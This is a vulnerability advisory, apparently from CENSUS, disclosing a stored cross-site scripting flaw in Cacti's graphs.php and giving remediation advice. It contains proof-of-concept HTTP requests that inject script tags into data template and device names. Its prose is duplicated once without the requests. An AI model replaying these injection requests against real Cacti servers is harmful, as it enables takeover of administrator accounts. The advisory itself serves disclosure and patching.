Summary
A Stored Cross-Site-Scripting Vulnerability allows an authenticated user to poison data stored in the cacti's database. These data will be viewed by administrative cacti accounts and execute JavaScript code in the victim's browser at view-time.
Details
The script under graphs.php displays graph details such as data-source paths, data template information and graph related fields. CENSUS found that an adversary that is able to configure either a data-source template with malicious code appended in the data-source name or a device with a malicious payload injected in the device name, may deploy a stored XSS attack against any user with General Administration>Graphs privileges.
A user that possesses the Template Editor>Data Templates permissions can configure the data-source name in cacti. Please note that this may be a low privileged user. This configuration occurs through http://<HOST>/cacti/data_templates.php by editing an existing or adding a new data template. If a template is linked to a graph then the formatted template name will be rendered in the graph's management page.
A user that possesses the General Administration>Sites/Devices/Data permissions can configure the device name in cacti. This configuration occurs through http://<HOST>/cacti/host.php, while the rendered malicious payload is exhibited at http://<HOST>/cacti/graphs.php.
The relevant vulnerable code can be found in graphs.php:1543
?><span class='linkMarker'>*</span><a class='hyperLink' href='<?php print html_escape('data_sources.php?action=ds_edit&id=' . $ds['local_data_id']);?>'><?php print __('Edit Data Source: \'%s\'.', $name);?></a><br><?phpNotice how the $name (which includes the device name and data-source path among other components) is rendered into the HTML code without prior escaping. This may allow an adversary to conduct a Stored XSS attack.
A Stored XSS attack, aka Stored Cross Site Scripting attack, is manifested when an adversary poisons data that is stored in the backend with malicious JavaScript code. If a site is vulnerable to a stored XSS attack then when the poisoned data get rendered on the victim's browser, the malicious code block will become part of the browser's DOM and with thus be executed at view-time.
Therefore, it is possible for a victim that has followed an attacker provided URL of the form http:/<HOST>/cacti/graphs.php?action=graph_edit&id=<ID OF CORRELATED GRAPH> (or for a victim that attempts to inspect a graph site), to trigger the XSS vulnerability.
PoC
To verify the issue one can perform the following call to place malicious JavaScript in the cacti database:
POST /cacti/data_templates.php?header=false HTTP/1.1
Host: <HOST>
Content-Length: 528
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://<HOST>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close
__csrf_magic=<TOKEN>&template_name=Apache+HTTP++-+CPU+Load&data_template_id=3&data_template_data_id=3¤t_rrd=0&save_component_template=1&name=%7Chost_description%7C+-+Apache+HTTP++-+CPU+Load+%3Cscript%3Ealert('from+data+templates+data+source+name')%3C%2Fscript%3E&data_input_id=15&data_source_profile_id=1&rrd_step=300&active=on&data_source_name=apache_cpuload&rrd_minimum=0&rrd_maximum=100&data_source_type_id=1&rrd_heartbeat=600&data_input_field_id=52&data_template_rrd_id=3&value_hostname=&action=save
For the attacker to place the malicious payload, the aforementioned Template Editor>Data Templates privileges are required. For the victim to view the malicious information, privileges of General Administration>Graphs are required.
The second way of performing the malicious payload injection is through the following request
POST /cacti/host.php?header=false HTTP/1.1
Host: <HOST>
Content-Length: 739
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://harry
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close
__csrf_magic=<TOKEN>&description=%3Cscript%3Ealert('malicious+code+in+device+name')%3C%2Fscript%3E&hostname=localhost&location=&poller_id=1&site_id=1&host_template_id=1&device_threads=1&snmp_version=2&snmp_community=public&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=-1&availability_method=2&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1¬es=&external_id=&id=4&save_component_host=1&graph_template_id=26&snmp_query_id=5&reindex_method=1&action=save
For the attacker to place the malicious payload, the aforementioned General Administration>Sites/Devices/Data privileges are required. For the victim to view the malicious information, the same or higher privileges are required.
An example request that renders the malicious data can be found below:
GET /cacti/graphs.php?action=graph_edit&id=6&debug=1 HTTP/1.1
Host: <HOST>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close
<a class="hyperLink" href="data_sources.php?action=ds_edit&id=39">Edit Data Source: '<script>alert('malicious code in device name')</script> - Apache HTTP - CPU Load <script>alert('from data templates data source name')</script>'.</a>Impact
To exploit this issue an adversary would need to have the following (low privileged) permissions:
- Template Editor>Data Templates , in order to create a template with malicious payload injected into the name attribute,
- General Administration>Sites/Devices/Data in order to create a device or edit an existent device's name
The victim of this attack should have at least the following permissions
- General Administration>Graphs
Once the attacker has executed the malicious JavaScript code within the victim's browser it is possible to
- perform a victim-account takeover
- perform arbitrary actions on the platform as the victim user
- redirect the user to a malicious website
- ask for sensitive information, under the cover of the cacti webpage
- run browser related exploits and attacks
- join a browser botnet and participate in a DDoS attack
Remediation
Before rendering this user supplied information either make this be a text element in the rendered HTML or escape (by using HTML entities) the content so that the malicious block will not be considered as code in the final HTML output.
The issue was identified by Vissarion Moutafis of CENSUS. CENSUS will be releasing an advisory for this issue once a release that fixes the issue becomes available (or in 90 days, whichever comes first). Should you require assistance with the review of the patch we will be more than happy to help!
VissaMoutafis Reporter
netniV Coordinator
Summary
A Stored Cross-Site-Scripting Vulnerability allows an authenticated user to poison data stored in the cacti's database. These data will be viewed by administrative cacti accounts and execute JavaScript code in the victim's browser at view-time.
Details
The script under
graphs.phpdisplays graph details such as data-source paths, data template information and graph related fields. CENSUS found that an adversary that is able to configure either a data-source template with malicious code appended in the data-source name or a device with a malicious payload injected in the device name, may deploy a stored XSS attack against any user with General Administration>Graphs privileges.A user that possesses the Template Editor>Data Templates permissions can configure the data-source name in cacti. Please note that this may be a low privileged user. This configuration occurs through
http://<HOST>/cacti/data_templates.phpby editing an existing or adding a new data template. If a template is linked to a graph then the formatted template name will be rendered in the graph's management page.A user that possesses the General Administration>Sites/Devices/Data permissions can configure the device name in cacti. This configuration occurs through
http://<HOST>/cacti/host.php, while the rendered malicious payload is exhibited athttp://<HOST>/cacti/graphs.php.The relevant vulnerable code can be found in
graphs.php:1543Notice how the
$name(which includes the device name and data-source path among other components) is rendered into the HTML code without prior escaping. This may allow an adversary to conduct a Stored XSS attack.A Stored XSS attack, aka Stored Cross Site Scripting attack, is manifested when an adversary poisons data that is stored in the backend with malicious JavaScript code. If a site is vulnerable to a stored XSS attack then when the poisoned data get rendered on the victim's browser, the malicious code block will become part of the browser's DOM and with thus be executed at view-time.
Therefore, it is possible for a victim that has followed an attacker provided URL of the form
http:/<HOST>/cacti/graphs.php?action=graph_edit&id=<ID OF CORRELATED GRAPH>(or for a victim that attempts to inspect a graph site), to trigger the XSS vulnerability.PoC
To verify the issue one can perform the following call to place malicious JavaScript in the cacti database:
For the attacker to place the malicious payload, the aforementioned Template Editor>Data Templates privileges are required. For the victim to view the malicious information, privileges of General Administration>Graphs are required.
The second way of performing the malicious payload injection is through the following request
For the attacker to place the malicious payload, the aforementioned General Administration>Sites/Devices/Data privileges are required. For the victim to view the malicious information, the same or higher privileges are required.
An example request that renders the malicious data can be found below:
Impact
To exploit this issue an adversary would need to have the following (low privileged) permissions:
The victim of this attack should have at least the following permissions
Once the attacker has executed the malicious JavaScript code within the victim's browser it is possible to
Remediation
Before rendering this user supplied information either make this be a text element in the rendered HTML or escape (by using HTML entities) the content so that the malicious block will not be considered as code in the final HTML output.